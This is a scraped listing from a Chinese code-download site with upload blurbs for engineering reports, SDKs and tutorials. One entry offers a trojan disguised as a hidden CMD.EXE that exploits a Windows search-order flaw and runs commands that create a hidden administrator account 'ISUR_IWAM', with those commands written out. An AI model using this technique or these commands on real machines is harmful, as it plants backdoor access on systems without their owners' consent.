本課題選用光電傳感器作為導(dǎo)向傳感器，以設(shè)計出使用方便、價格低廉、引導(dǎo)精確、響應(yīng)速度快的AGV工廠自動運貨車為研究目的。 AGV是自動導(dǎo)引運輸車（Automated Guided Vehicle）的英文縮寫，是當今柔性制造系統(tǒng)(FMS)和自動化倉儲系統(tǒng)中物流運輸?shù)挠行侄巍Ｗ詣訉?dǎo)引運輸車系統(tǒng)的核心設(shè)備是自動導(dǎo)引運輸車，作為一種無人駕駛工業(yè)搬運車輛，一般用蓄電池作為動力，載重量從幾公斤到上百噸，工作場地可以是辦公室、車間，也可以是港口、碼頭。 現(xiàn)代的AGV都是由計算機控制的，車上裝有微處理器。多數(shù)的AGVS配有系統(tǒng)集中控制與管理計算機，用于對AGV的作業(yè)過程進行優(yōu)化，發(fā)出搬運指令，跟蹤傳送中的構(gòu)件。裝備有電磁或光學等自動導(dǎo)引裝置，能夠沿規(guī)定的導(dǎo)引路徑行駛，具有安全保護以及各種移載功能的運輸車，工業(yè)應(yīng)用中不需駕駛員的搬運車，以可充電之蓄電池為其動力來源。一般可透過電腦來控制其行進路線以及行為，或利用電磁軌道(electromagnetic path-following system)來設(shè)立其行進路線，電磁軌道黏貼於地板上，自動導(dǎo)引運輸車則依循電磁軌道所帶來的訊息進行移動與動作。 AGV以輪式移動為特征，較之步行、爬行或其它非輪式的移動機器人具有行動快捷、工作效率高、結(jié)構(gòu)簡單、可控性強、安全性好等優(yōu)勢。與物料輸送中常用的其他設(shè)備相比，AGV的活動區(qū)域無需鋪設(shè)軌道、支座架等固定裝置，不受場地、道路和空間的限制。因此，在自動化物流系統(tǒng)中，最能充分地體現(xiàn)其自動性和柔性，實現(xiàn)高效、經(jīng)濟、靈活的無人化生產(chǎn)。 AGV的常用引導(dǎo)方式有電磁感應(yīng)式引導(dǎo)，激光引導(dǎo)，電磁陀螺式引導(dǎo)等，通過對這種引導(dǎo)方式的比較，我們選用光電傳感器作為導(dǎo)向傳感器，因為光電檢測方法具有精度高、反應(yīng)快、非接觸等優(yōu)點，而且可測參數(shù)多，傳感器的結(jié)構(gòu)簡單，形式靈活多樣。選用紅外傳感器作為蔽障傳感器，因為紅外線對外界環(huán)境光線的適應(yīng)能力比較強。用直流測速發(fā)電機作為速度傳感器。設(shè)計出使用方便、價格低廉、引導(dǎo)精確、響應(yīng)速度快的AGV。
標簽： AGV 光電傳感器 控制系統(tǒng) 報告
上傳時間： 2015-01-02
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隨著虛擬儀器技術(shù)的不斷發(fā)展，將虛擬儀器技術(shù)應(yīng)用到中心體溫濕度測量系統(tǒng)成為可能。將溫濕度傳感器測量到的數(shù)據(jù)通過數(shù)據(jù)采集卡采集到計算機，再利用虛擬儀器開發(fā)軟件LabVIEW進行編程，向用戶提供操作界面和顯示界面，實現(xiàn)了環(huán)境溫度、濕度的數(shù)據(jù)采集、傳送、分析和顯示，并向用戶提供歷史查詢。該系統(tǒng)的研制和使用節(jié)省了大量的人力、物力，使測量工作更加方便、快捷。
標簽： 雷達 溫濕度監(jiān) 測系統(tǒng)
上傳時間： 2013-10-20
上傳用戶：大融融rr
這是Adobe公司發(fā)布的PhotoShop 6.0 SDK開發(fā)包，可對PS進行二次開發(fā)。其中也含有大量關(guān)于PS的內(nèi)部資料，很有參考價值。（
上傳時間： 2014-08-25
上傳用戶：kikye
在 Windows 的資源管理器窗口中，我們見過 WinZIP,WinRAR 等軟件能在文件或文件夾的默認快捷菜單中添加幾個菜單項，它可以使用戶無須進入軟件內(nèi)部而直接在視窗中進行壓縮/解壓操作，十分方便用戶操作，這無疑是一個較好的應(yīng)用模型，它就是我們所說的Shell擴展技術(shù)。此源代碼將以一個普通的源代碼統(tǒng)計程序為例來說明怎樣實現(xiàn)Shell擴展技術(shù)。
上傳時間： 2014-11-23
上傳用戶：zhangliming420
壹加壹圖文管理系統(tǒng)，功能實用方便。管理快捷，完善。是目前比較好的圖片管理系統(tǒng) (含近一萬張圖片完整數(shù)據(jù)庫)
標簽： 管理系統(tǒng)
上傳時間： 2014-01-12
上傳用戶：壞壞的華仔
你是不是經(jīng)常在開始菜單的運行窗口里運行命令呢? 看看這個漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在執(zhí)行搜索的時候, 首先查找根目錄 而開始菜單的運行窗口里執(zhí)行命令, 也是首先在系統(tǒng)盤的根目錄里進行查找. 這個漏洞其實是已經(jīng)是公開的秘密了. 既然現(xiàn)在作為漏洞公布出來, 我也就把網(wǎng)上的PasswordReminder.cpp拿來改了改 加了一個加超級管理員用戶和執(zhí)行cmd.exe的功能. 使用方法: 把程序解壓, 把壓縮包里的文件 CMD.EXE (該文件具有隱藏和只讀屬性) 釋放到目標機器的系統(tǒng)盤根目錄, 一般都是在C:比如利用UNICODE/Decode漏洞就有寫根目錄的權(quán)限, 同時Asp/fp30reg.dll等遠程溢出出來的Shell, 一般都只有匿名權(quán)限, 但是它具有寫根目錄的權(quán)限 這個時候, 就可以把本程序放到目標機器的系統(tǒng)盤根目錄 只要等管理員在機器的開始菜單里運行命令: cmd 一切盡在掌握中.:) PS: 系統(tǒng)執(zhí)行后, 會先產(chǎn)生一個線程來做一些處理 然后用system()函數(shù)調(diào)用cmd.exe來讓用戶能夠執(zhí)行命令. 產(chǎn)生出來的線程會產(chǎn)生兩個進程序執(zhí)行如下兩個命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 這樣就在系統(tǒng)上增加了一個超級
上傳時間： 2015-01-12
上傳用戶：qlpqlq
Linux下進程監(jiān)控相關(guān)源代碼，包括top, Ps
上傳時間： 2015-01-13
上傳用戶：baitouyu
VFP教程示例，該程序從初學者的立場出發(fā)，涉及數(shù)據(jù)庫建立、修改添加等基本操作，也有如何設(shè)計菜單（含快捷菜單）、工具條及類的應(yīng)用； 還有諸如SQL語句應(yīng)用、報表標簽的設(shè)計與及簡單動畫的實現(xiàn)等內(nèi)容；直到一個完整程序的最終編譯成功，包括了VFP程序設(shè)計中大多內(nèi)容
上傳時間： 2014-01-12
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漢化dataadmin1.1版,這是一套經(jīng)過漢化的數(shù)據(jù)庫管理系統(tǒng)軟件，完全擺脫了以前的英文界面，使操作更加方便快捷！數(shù)據(jù)庫在線管理更方便(57KB)
標簽： dataadmin 1.1 漢化 數(shù)據(jù)庫管理
上傳時間： 2014-01-22
上傳用戶：www240697738
WIN98下鎖機程序，只要將其快捷方式復(fù)制到開始菜單的啟動下即可。
上傳時間： 2014-11-05
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